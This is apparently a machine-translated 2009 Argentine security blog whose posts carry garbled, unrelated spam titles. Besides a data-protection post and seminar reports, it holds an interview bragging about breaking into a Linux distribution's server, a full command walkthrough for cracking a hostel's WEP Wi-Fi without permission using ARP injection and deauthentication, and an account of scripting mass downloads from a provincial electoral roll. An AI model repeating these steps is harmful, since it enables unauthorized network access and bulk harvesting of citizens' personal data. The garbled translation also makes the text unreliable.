Wednesday, December 9, 2009

Clarithromycin Bad Taste

Protection Act 25,326

Well I'm a bit lost and will be more now that summer comes and I go for my holiday payments, so with friends, family, holidays, travel to Mar del Plata, it will complicate post . xD Well I decided to make this post for perhaps there are times it is not known for this type of rights we have. I will tell a story before chiquitita, which is the case and what happened to me this week I walked by Goya. It I was with a friend and went to look for in a friend's dad left, who is from Buenos Aires, and counting and speaking as good Buenos Aires, said he had a problem with having a dedicated server which uses it to send mails. . And then as he got into my field of information asked if it was him, I said no, was a French server rent, and provides a service that offers companies of sending emails, with different rates depending on the number, this database with over 10,000,000 mails have it organized by profession, among other things. Then I told you spam, and not just answer me. So what really makes this? Does this man not spamea?, Perhaps my I will reach my inbox an email which I never asked that I come to offer a product / service company. That's SPAM. And on top to receive this mail there is no option where the user has the option not to receive anymore this kind of mail for that company, then a crime. Well we the point of this post, there are many companies in the Web that offer personal information of people taking a specific amount. These are the popular DATABASES (By law 25,326
a file, registry, database or database: Regardless, they designate the organized set of personal data subject to processing, electronic or otherwise, whatever the mode of its formation, storage, organization and access.
). Now the question is that I was seeing some people online who want to know for example that these companies have in their database on it. So what you do is pay the same service would be charged to anyone to know the details of a person X, but in this case is that of data, without knowing that there is an article in the 25,326 law where the owner of the Data has the right to access. Let Article

ARTICLE 14. - (Right of access).
1. The data owner, with proof of their identity, is entitled to request and obtain information from their personal data contained in public databases, or intended to supply information private.
2. The manager or user must provide the requested information within ten calendar days of being intimidated reliably.
expiration of the period without satisfying the order, or evacuated to the report, it is deemed insufficient, action will expedite the protection of personal data or habeas data provided in this law.
3. The right of access referred to in this article can only be exercised free of charge at intervals of not less than six months, unless a legitimate interest purpose.
4. The exercise of the right to which this article refers to data in the case of deceased persons shall be responsible to their universal successors.






What really did was make a request to Globinfo , and ask for my data that had them, to receive mail me wanted to charge $ 19, I think it was just . So what I did is make an email to customer service asking for my details amprado by law 25,236, responded pretty well, telling me that my data will be awarded to me (the title), but should follow some rules that would send me back ID to an address by mail, and that this order will be shipped within 10 days as stated in paragraph 2 Article 14. Here is the model order. (This would be sent by mail but you could scan and e-mail ID too)









Open Discovery SA Larrea 1354 Piso 14 Of 126
CP (1425)
Buenos Aires

For the
this, I ask myself delivery of personal data held in its database for me.


Deputy to the

this

a photocopy
simple

of my
DNI / LE / LC / CI,

No. ...... .........................................

authorize my information to be transmitted to the following email address: ... ... ... ... ... ... ... ... ...

Place and date ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... .. Signature: ... ... ... ... ... ... ... ... ... ... Clarification ... ... ... ... ... ... ... ... ... ... ... ... ... ...

remain at your disposal, I send a cordial greeting .


Lucila

soon Well I'll tell you how I was and how accurate are these data, Ah if the information is false that they have the right to delete such information from its bases, and surely will be a scavenger Lawyer want to make any claim for damages.

Greetings

Monday, November 30, 2009

Novelty Ids Niagara Falls

Personal Data Information Security and Hacking - San Pedro Jujuy

27 and November 28 became the seminary of Information Security and Hacking in San Pedro - Jujuy organized by people "

Free Minds." And I was lucky to be with people encourage him & Security

, Pedro Cacivio and Sebastian del Prado. On Friday we arrived at 10 o'clock in the morning to San Pedro after Habermas's 50 km of it (Put batteries with posters of the route to the mayor;)). When we go to the main square where we searched and went to the event.

 Arriving Luciano Laporta was giving "Introduction to Computers", we stay a while listening and then went to the hotel to rest a few minutes to return 

at 13 pm to perform Forensic Seminar. Well how many people honestly was not what we expected, or that usually attend such events. Maybe some bad publicity in the same or will know it was.

Well after lunch, we did it together with people of "Free Minds" in the stage the event, where we share talks of any kind and the inevitable talk about computer security or anything related to IT. We broke everything and start with

the workshop.

As in Salta, Sebastian opened the seminar by giving all the theory and management on Windows platforms where it is skilled in the art. And Peter went on to give a good introduction to * nix systems in Forensic and recounting their experiences. Then I continued with attacks on computer systems and systems WEB apache log, syslogd.conf Stock explanation.

After a time for me to finish still together with Peter showing zappers, rootkits, anti-rootkit tools. Arrival 20 and coins we completed the seminar. The next day was my turn to start the day of talks at 9 am. And I chose the topic

"BLIND SQL INJECTION ON MySQL." Well followed the schedule as normal, according to Mark Mansfield, Daniel Godoy, Sebastian del Prado, Luciano Laporta and closing Pedro Cacivio.

Anyway I hope to make a collection of presentations so that they can see them, and if anyone has some videos taken of the talks (I saw some filming q) if I can be contacted and agree to upload to youtube and go together well the preset, for people who could not attend can see them online together. I hope that helps. Greetings all Well, I'll be going in these days as promised Greetings


Saturday, November 21, 2009

Vegetable Oil Face Mask

Interview: Daniel Godoy




Well I saw that this good to interview, and I decided to open a section for it! The ice is breaking Daniel Godoy, I met him in The 4th Day of Free Software in Salta, Salta was organized by LUG On Friday fell to Peter to the power of Salta UNSA, since he had to go talk to a boy who entered
by Mauro Torres
server (
Tuquito
Creator) to mediate things and that Peter is a friend of Mauro. At the time we fell greet many people from Salta I was showing Peter, and after a while comes Miguel (one of the organizers of the event), it presents a vague, which was Daniel. Where we greet. Time followed, he and Pedro were to talk about Tuquito. I'll be seeing a talk by Luis Wayar that was great on Linux. Daniel had no problems to give this interview inexperienced from me, and well I hope you enjoy it.

How about you think of Jump?

Hello first of all, thanks for making me this interview ^ ^. Well the truth that I would first like to mention the quality welcome that I got there, a lot of cool folks, Carlos Debian: P
Mattgaviota not remember their names but they waited for me and treated me 100 points, then I met old friends
such as Gerardo and Miguel Tolaba Cabero (I'm eternally grateful), and also met many people, including those to you, Gabriel, mauro
esteban, good many people piola. And second is a beautiful city. I have plans to return soon because I
is eager to continue learning.
What Salteña wave night?
Salteña

The night, from what little I remember, very copada, many beautiful women, alcohol. and more spécifications in Balcarce ... There are pubs and nightclubs where you look for the opportunity I had to go out with the guys we went to a bowling saltalug in gang and we were like 20, the truth is highly recommended jumps if you want to meet a beautiful province of this country.

What you got planned to present in San Pedro, Jujuy next week?

good one of the subjects said: Advantages of open technologies in computer security, the rough idea is to explain why the time to trust an application (of any kind) would do well to choose those that are based on free technologies.

show how to identify bugs in open source applications and closed source, but this very general thing and not get bored not an issue for other complicated.

The second talk will be the XSS, a technique widely underestimated. Gave him that name because most webmasters do not fixean those bugs that although the site does not cause any significant damage can be detrimental to the end user. (Through these techniques can obtain personal information including identity theft and committing)

How long are in the Under?

if memory serves me are almost 4 to 5 years I became interested the whole topic of systems, the truth that is exciting and I guess to you you must pass the same: P Do you consider ethical or ethics is something you see more from outside than yourself?
And look with that answered the question yourself ... it's always easier to point out: P ,...... Ethics? not in my dictionary, I rather think someone impulsive, and thus can not contemplate what might be right or wrong, if someone will be hurt ... ethics is an issue to be dealt with tweezers I think ... is a very fine line between being ethical and not ... and all depends on who you look ... well ... that's my opinion:)

What do you think of Mauro Torres?

this is what I think and I hope nobody mauro bother: P, do not consider it a bad person, but is too arrogant ... or at least

and I like my ... say that when someone has power (or think you have one) makes it abuse ... also clear this depends on your environment and containment that can end up having to descarrirlarse not ... but anyway I'm not one to judge as it is, it does .. or what is best for ... However, I think it should be a little more humble ....

What did you showed the arrogance on the part of it? Well

I had the opportunity to "know" in Catamarca, where he came to hang the poster of hacker and especially ethical thing .. xD had nothing to boast and things like: he discovered the token bug joomla, so I have it recorded xD

was also the one who discovered the CVV2 algorithm and so far I have understood that he discovered Montoz Nicholas, alias Xonico.

good and I could list many more things Who you entered the server or Murder?

well, actually realize the intrusion of her first, but thanks to the contribution of Murder, which is essential ... say it was 40% and 60% on mine ... Even

and without him I do not think I would have been easier .... bearing in mind that on a dedicated server ... Some things we found there was a folder called / hack / with files such as shell.php. cmd.php etc. .. and some more particular was the fact find apache running with suid

xD Osea "that PC to execute commands from the shell found, were running commands as uid = 0?

so, but it was already configured and by default, not crazy?

what you think of the server security Tuquito, what were the shortcomings more gerous? I believe that server's main weakness was the negligence of the manager, maybe he was confident that no one would come, and I suppose one should still be wondering, as someone had access to a server where only was this web. On the other hand, was inthe allytech server, which in my opinion leaves much to be desired this company ..

the impact you thought it would? not honestly, I did it for me this gustito ... stand there is nothing like a goal and achieve it. ever raised me to Tuquito Defacer the server to prove that there had to be very knowledgeable, but you see .... as did all sincerely if I had known that would not have done it .. why? by the fact that many people working on this project and was injured ... Changing

Topic What are you studying and how much you need to receive q? I'm studying for a systems analyst and hopefully I'm missing a little over 12 months: D
Then I have plans to continue with the 3 year of Electronic Engineering, I always loved everything to do with circuits and is a subject
pending
hack for "Linux or Windows?


50 and 50 say, I like the study of systems and study the behavior of the same ... both to attack and when they are attacked : P




what Distro you use?
The distribution I chose is Slackware 13.0 at this time, and I prefer it for its stability, "security" and the ease of operation. if possible try to be minimalist:)



"Kde or Gnome?

KDE to die, I honestly never liked Gnome, I could not get used to using it, does not attract me. kde instead I find most attractive and simple




"preferred language?


language which is PHP I fell in love, really I can do almost everything I want, but I also like C + + language which program but also I still have much to learn and to master
live
Think Computer Security?


sincerely hope to live for computer security, but this is very difficult to break through, quierooo begin to perfect in this area tambiénnn trying to raise awareness among managers ... recently one answer me .. "we do not need this service, total reponemofácilll us when we go down the web ..." said that the admin of a municipality, heh and I wonder ... has no interest in the integrity of the data?

What is your goal now?

good my goal this time is mainly to finish school, to work, then my plans is to continue to develop and share the limited knowledge puedallegar to acquire, as well copada know people very, very capable and


For

Finally what do you think of the interview? because they're the first in which through interview


truth very entertaining and I turn to thank you for the opportunity to leave a few words in your blog, and I see you have a very high level among the things you post, and my election I am proud Thanks



Wednesday, November 11, 2009

Lap Top Case 15 Inch By Juicy Couture

LUG Salta 2009




Well congratulations from my humble blog to all the people of Salta
LUG,
for the good vibes and excellent organization on the 4th Day

Free Software, thanks to Peter Cacivio for taking me and giving me a place in their talks. Actually I do not regret having gone though this is now very tight with the faculty. I met people very copada as Alexis Sarghel of
SARSYS
, Daniel Godoy, Luciano Laporta Podazza among others. I look forward to attending these events, so we in Jujuy soon ...=)..






Friday, November 6, 2009

Dune Buggy In Louisiana

Hacking Wifi - WEP

Right now I'm in a hostel in the city of Salta, where we came to Sebastian Del Prado and Pedro Cacivio to conduct a forensic seminar, which dictate day Nov. 5 at the University
UNSA
very well attended and the public in accordance with the information they could give. Some tips were, Del Prado showing full all that is forensic in Windows and the key concepts of how to act in an attack esenario to collect all the information, take pictures, take the information-volatile, flash drive, drives, access etc . Peter and I showed attacks on Linux servers. and in the case of a machine esenario hacked, what are the tracks that may have left the hacker, honeypot plantation, the syslogd daemon, etc apache log. But anyway I'm writing this article is about wireles hacking.
First of all I want to show a image that captures today walking around in a truck while looking for Hostel. Look at the amount of AP using WEP encryption there.




Well now let's see how we can break a WEP encryption. About 2: 30 hours I had a little problem where the girl who works nights at the hostel did not have the key to WIFI, and only knew the girls in the morning, I could not believe it !!!!. Looking for some miserable send a message and so I have no credit, hands-on, and break it. First

nesesitas aircrack package, then run as root. # aptitude install aircrack-ng

Perfect
once you have installed we can begin.
We place our IEEE 802.11 network card in promiscuous mode, so
to see that we have the network card IEEE 802.11

run # iwconfig
now if .. to put in promiscuous mode

# airmon-ng start wlan0


in my case my box wireless network is called wlan0, that place should place of you.
Second Step is start listening to the air to run this

# airodump-ng mon0
(mon0 is the name I was awarded the airodum-ng to call my plate "(monitor mode enabled on mon0)


CH 6] [Elapsed: 20 s] [11/07/2009 4:15 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:22:33:32:9E:70 -84 32 27 0 1 54e WEP WEP hostal la Linda

BSSID STATION PWR Rate Lost Packets Probes

00:22:33:32:9 E: 70 00:1 F: 3C: A4: 8C: 8C 0 0 28 0e 1e-hostal la Linda
And that's all this? in this case there is only one AP that my machine can be sniffed in his radio. BSSID where it says below is the MAC of the AP. then we ENC is WEP (encryption type), the ESSID field is the name of the network which is the nice hostel

and the third FILEA there are more fields that would come to show the machines connected to certain AP. Ie in this case the BSSID = 00:22:33:32:9 E: 70 has a machine connected to the which is the STATION = 00:1 F: 3C: A4: 8C: 8C.

Sometimes when you run airodump-ng have many AP we can see but we only want one specific set which break. So what can we do to put ourselves in the channel is working the target AP is as follows

mon0 # airodump-ng-c 1-w capture


did we? first you say that only sniff everything that is on channel 1 with-c 1 (channel) and capture-w (write) I say we keep them in a file called capture. After which we will nesesita for the aircrack-ng to break the pass.

Step Four: Serious speed packet capture, the way to reiyeccion ARP packet to the client (STATION) resubmit your auntentificacion and thus to generate more traffic. The command is this
# aireplay-ng -3-b 00:22:33:32:9 E: 70-h 00:19:7 D: 1E: 64:4 A-x 700 mon0
Now

-3 means the type of attack (read about arcracking-ng), which is replay ARP packet to cause new IVS. For all this out correctly will get a screen similar to this. Now, they have maybe wait a few minutes to see something like this




This screen is back in the shell of the output of airodump-ng mon0-c 1-w capture , and in which this overlay is to

aireplay-ng, and in this case the injection of ARP is being generated, so sastifactoria. :). If set at the output of airodump-ng DATA field will rise faster than previously and that is what we wanted to make xD.
Well if aireplay-ng could not have achieved this, we would have to make a DOS connected to the station. Open another shell and execute.


# aireplay-ng -0 -0-a 00:22:33:32:9 E: 70-c 00:19:7 D: 1E: 64:4 A mon0
This would empty the cache of the client to re-identify. AP-a-c is the CLIENT. Whether he would return to the shell where it was running aireplay-ng, it would have to start doing the attack. (In my case I did not do a DOS or deauthentication income as well inject ARP)

here another image of the injection, then fixed as the field grew

DATA
Well now we can only buy a coke and wait. I was walking down there to learn a little more of Salta. Well once we have a high number in the DATA field, for example I did with 234867 is the time to crack. First we stopped airdodump-ng with ^ C. (Control + C). At the same shell execute this
# aircrack-ng-01.cap capture

capture-01.cap
Where is the file that generated the airodump me when you put-w capture. And in seconds we have the key. Here the screen



Moraleja, before all this attack to try to prove at least some clues related to the SSID. xD .. Greetings.


Wednesday, October 28, 2009

Visual Basic 6.0 Mcq`a

Padron Electoral Consultation 2009

Well I watched the website of the pattern of past elections in the province of Corrientes
http://defsep13.corrientes.gov.ar/
, which voted for Governor. And I was testing potential SQL injections but did not have anything like that, well filtered variables. So go to another point, the XSS where I succeed, but leave it there and nothing else interested me. I saw that was available without a prior
Captcha, I started to elbow a script that automates the requests, and download the pattern of Revelation:).
The perl script is encoded in the s0urce

here, what it does is open a socket to port 80, and send headers by the method
HTTP POST, to do so within one to go for changing the starting document number from 1 to a peak that we put. I do so that the query even put a number of ID which does not have the number of digits demanding equal generates. Ie if I send the document 1 with male gender. The consultation document will bring the first male to finish in 1. If I put 2 with male genereo, consultation maculino the first document will end with 2 and so on. Well this extension generates an html file which you guys can change the name from the code (Line 4) also can be changed to look feminine gender, instead of masks. Fem place. (Line 23).

Here is a screenshot.




Obviously in this file below are more data, this captures only get to see one.
Greetings ..

Thursday, October 22, 2009

Is It Okay To Take Augmentin With Nyquil?

Configuring VMware Workstation for Debian

Well this post is for those who want to begin in the Linux world out there and do not dare to install any distro on your hard installation for fear or fear of anything happening. We will use virtualization technology. I am using VMware Workstation 5.5.0 but the latest is VMware Workstation 6.0.2. It can be downloaded from the official website <== asi dice")

a 30-day trial.
then start .. :)

1) When you open this screen will appear.
will enter where it says "New Virtual Machine"





2) will continue this welcome screen, click to give
Next







3) Here we select the appropriate configuration. Custom

mark, to a more advanced configuration.




4) This screen will ask what type of format we want, I put the new format, I mean the option
New - Workstation 5.



5) Now in my case I'm on a Debian 5.0 intalar i386 architecture. Marked left
Linux OS type and version


Other Linux 2.6.x kernel. Since this kernel is of that family.




6) Post the name for our virtual machine, make one that is related to the OS who are by intalar (just a tip). In this example place
My Debian







7) Now configure the size of the RAM that asiganaremos to the VM. I have 2 GB so I gave him a 556 of ram (it would be more square je put 512?). We also have a little board where he tells us what is recommended and a maximum level of allowance that we give.






8) Configuration of network type. Place it in NAT mode. so that when attempting to install DEBIAN programmeA of intalacion take to the network via DHCP without problems.



9) In this we like this and we in sigueintes




10) In this screen
will mark the first option "Create a new virtual disk" . We have the options to use an existing virtual disk or a physical. :)


11) The type of disc. IDE mark because when you try to SCSI Intal not find any driver for that type. In the end I went with IDE. :)





12) The size of GB disk.


13) The virtual disk name. I put Mi_Debian.vmdk
. And we are ready now ..




14) Now the screen that follows, we are positioned in the menu of our VM you just created. One option is to place the name I put my floppy drive CD-ROM, and that automatically did not work. I double-click CD-ROM , and then change the option that is in Auto Detect

, by name, which in my case is the
E: .




Now we just need to click the play sign and initiate green our virtual machine, we must place the CD Debian expect cd boot, and start installing. The intalacion is like any machine, that's independent of whether it is a VM or a physical computer. Greetings